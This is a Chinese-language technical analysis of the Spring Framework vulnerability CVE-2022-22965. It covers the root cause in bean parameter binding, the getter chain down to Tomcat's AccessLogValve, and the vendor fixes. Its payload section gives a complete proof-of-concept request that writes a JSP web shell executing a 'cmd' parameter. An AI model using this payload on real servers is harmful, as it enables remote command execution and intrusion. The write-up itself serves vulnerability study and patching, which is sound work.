前言

CVE-2022-22965

成因

spring controller在绑定一个对象作为参数时,会将对象的变量做覆盖,从而使得我们可以覆盖tomcat配置的log位置、名称等,从而任意写入文件。

分析

影响版本:

  • Spring Framework 5.3.X < 5.3.18 、2.X < 5.2.20
  • 使用外置tomcat部署spring项目,且tomcat < 9.0.62
  • 使用了对象参数绑定

java beans

JavaBean 是一种特殊的 Java 类,主要用于传递数据信息,这种 Java 类中的方法主要用于访问私有的字段,且方法名符合某种命名规则。

一个简单User类,这就是一个JavaBean

public class User {
    private Integer id;
    private String userName;
    private String password;

    public Integer getId() {
        return id;
    }

    public void setId(Integer id) {
        this.id = id;
    }

    public String getUserName() {
        return userName;
    }

    public void setUserName(String userName) {
        this.userName = userName;
    }

    public String getPassword() {
        return password;
    }

    public void setPassword(String password) {
        this.password = password;
    }

}

通过get/set方法去调用类私有方法

java内省机制

Java 内省主要使用来对 JavaBean 进行操作的,所以当一个类满足了 JavaBean 的条件,就可以使用内省的方式来获取和操作 JavaBean 中的字段值。
一个 JavaBean 类中的方法,去掉 set 或 get 前缀,剩余部分就是属性名。所有只要有存在get/set方法,那他就会判定你有这样一个属性。
内省提供了操作 JavaBean 的 API。
共有三种方法:

  1. Introspector 类
  2. PropertyDescriptor 类
  3. PropertyEditor 类

这次只说Introspector类,它提供了两个静态方法

// 获取 beanClass 及其所有父类的 BeanInfo
BeanInfo getBeanInfo(Class<?>beanClass)

// 获取 beanClass 及其指定到父类 stopClass 的 BeanInfo
BeanInfo getBeanInfo(Class<?> beanClass, Class<?> stopClass)

我们可以使用 Introspector 的 getBeanInfo(Class<?> beanClass) 来获取一个 JavaBean 类的 BeanInfo 对象。BeanInfo 有三个常用的属性:

// bean 信息
BeanDescriptor beanDescriptor = beanInfo.getBeanDescriptor();
// 属性信息
PropertyDescriptor[] propertyDescriptors = beanInfo.getPropertyDescriptors();
// 方法信息
MethodDescriptor[] methodDescriptors = beanInfo.getMethodDescriptors();

写个简单程序测试一下

这里输出了User的属性,但还有个class,这个是User类从原型类Object继承而来,所有类都会继承object。而又因为它存在一个getClass()方法(只要有 getter/setter 方法中的其中一个,那么 Java 的内省机制就会认为存在一个属性),所以会找到class属性。

那我们直接填写Class.class,这样会查询到原型类Object

出现ClassLoader

Spring MVC参数绑定

SpringMVC支持将HTTP请求中的的请求参数或者请求体内容,根据Controller方法的参数,自动完成类型转换和赋值。一般来讲可以绑定String、Int等类型。本次漏洞中使用的是对象类型的参数绑定。

@RequestMapping("/user")
public String login(User user, Model model) {
    model.addAttribute("name",user.getName());
    System.out.println(user.getName());
    return "user";
}

我们设置一个User的bean,当我们传入?name=xxx时,spring会自动生成一个bean,也就是User对象。
且SpringMVC支持多层嵌套的参数绑定,也就是xxx.xxx的方式进行绑定。
绑定调用如下:

User.getClass()
    java.lang.Class.getModule()
        java.lang.Module.getClassLoader()
            org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
                org.apache.catalina.webresources.StandardRoot.getContext()
                    org.apache.catalina.core.StandardContext.getParent()
                        org.apache.catalina.core.StandardHost.getPipeline()
                            org.apache.catalina.core.StandardPipeline.getFirst()
                                org.apache.catalina.valves.AccessLogValve.setPattern()

Tomcat AccessLogValve 和 access_log

tomcat的xml配置:

<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
prefix="localhost_access_log" suffix=".txt"
pattern="%h %l %u %t "%r" %s %b" />

可以从中看到对应类为org.apache.catalina.valves.AccessLogValve,当然我们可以通过操作bean来修改他的属性,如access_log的名字和存储位置

Payload分析

poc:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{prefix}ijava.io.InputStream input=Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();int len = -1;byte[] bytes = new byte[4092];while((len = input.read(bytes)) != -1){out.println(new String(bytes,"GBK"));}%{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.directory=C:\Users\user\Desktop\bp\&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1

class.module.classLoader.resources.context.parent.pipeline.first.pattern,这一段是利用嵌套机制,调取classloader并继续向下修改类。这个类对应上面所说到的tomcat配置

# 设置文件后缀为 .jsp
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

# 设置文件前缀为 shell
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell

# 设置日志文件的路径为 webapp/path,只有该文件下的 jsp 文件会被解析,本文以 ROOT 为例
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapp/ROOT

利用关键及修复

  1. Tomcat
    需要将项目打包为war包使用tomcat部署,这时可以调用到org.apache.catalina.loader.ParallelWebappClassLoader.getResources,修改log相关属性。
    而SpringBoot使用jar包的方式运行,classLoader嵌套参数被解析为org.springframework.boot.loader.LaunchedURLClassLoader,查看其源码,没有getResources()方法,所以无法利用。
  2. JDK版本
    spring嵌套修改bean属性的漏洞出自cve-2010-1622,spring在对cve-2010-1622的漏洞修复时将将classloader添加进了黑名单,但是自从JDK 9+开始,JDK引入了模块(Module)的概念,就可以通过module来调用JDK模块下的方法,而module并不在黑名单中,所以能够绕过黑名单,如:class.module.classLoader.xxxx的方式。
  3. 修复方案
    spring 修复方法:
    通过对比 Spring 5.3.17 和 5.3.18 的版本,可以看到对CachedIntrospectionResults构造函数中 Java Bean 的PropertyDescriptor的过滤条件被修改了:当 Java Bean 的类型为java.lang.Class时,仅允许获取name以及Name后缀的属性描述符。也就是说java.lang.Class.getModule()无法获取。
    tomcat修复方法:
    tomcat对getResource()方法的返回值做了修改,直接返回null。

"孓然一身 , 了无牵挂"